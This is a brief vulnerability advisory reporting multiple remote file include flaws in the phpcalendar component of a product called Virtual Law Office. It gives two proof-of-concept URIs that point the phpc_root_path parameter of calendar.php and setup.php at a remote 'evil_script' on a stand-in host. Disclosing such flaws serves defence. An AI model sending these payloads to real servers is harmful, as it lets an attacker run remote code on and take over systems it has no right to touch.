Virtual Law Office Multiple Remote File Include Vulnerabilities

Virtual Law Office Multiple Remote File Include Vulnerabilities

An attacker can exploit these issues via a web client.

The following proof-of-concept URIs are available:

http://www.example.com/[script_path]/phpcalendar/includes/calendar.php?phpc_root_path=http://www.example2.com/evil_script?
http://www.example.com/[script_path]/phpcalendar/includes/setup.php?phpc_root_path=http://www.example2.com/evil_script?